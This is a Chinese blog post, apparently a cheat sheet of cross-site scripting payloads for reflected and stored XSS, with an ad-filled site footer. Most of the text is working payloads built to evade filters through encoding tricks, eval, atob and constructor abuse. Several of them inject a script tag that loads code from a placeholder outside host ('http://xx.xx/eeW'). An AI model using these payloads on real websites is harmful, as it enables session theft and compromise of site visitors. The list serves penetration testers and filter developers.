反射性
<script>alert(‘xss’)</script><a href='' onclick=alert('xss')>type</a><img src=1 onerror=alert(1)><SCRIPT>alert(1)</SCRIPT><Sscriptcript>alert(1)</Sscriptcript>
遗漏标签
<details open ontoggle=top['al'%2B'ert'](1)><details open ontoggle=self['al'%2B'ert'](1)><details open ontoggle=parent['al'%2B'ert'](1)><details open ontoggle=frames['al'%2B'ert'](1)><details open ontoggle=content['al'%2B'ert'](1)><details open ontoggle=window['al'%2B'ert'](1)>JS8编码:
<details open ontoggle=top['al\145rt'](1)><details open ontoggle=top['\141\154\145\162\164'](1)>JS16编码:
<details open ontoggle=top['al\x65rt'](1)>
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1)>toString()<details open ontoggle=top[8680439..toString(30)](1);><details open ontoggle=top[11189117..toString(32)](1);><img src=1 alt=al lang=ert onerror=top[alt%2blang](0)><details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>将alert(1)编码,因为有eval存在
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))><details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')><details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
eval函数的补充
<svg/onload=setTimeout`alert\u0028233\u0029`><svg/onload=setInterval('al'%2b'ert(1)')>
拆分与编码
<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')><svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')><svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')><svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('')><svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('')><svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW');>
constructor属性
<svg/onload=Set.constructor('al'%2b'ert(1)')()><svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()><svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```><svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```><svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```><svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```><svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>
存储型
<script>alert(‘xss’)</script><a href='' onclick=alert('xss')>type</a><img src=1 onerror=alert(1)><SCRIPT>alert(1)</SCRIPT><Sscriptcript>alert(1)</Sscriptcript><a href=javascript:alert(1)>a</a><a href=javascript:alert(1)>a</a>
$nickname =htmlentities(@$_POST['nickname']);//昵称
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY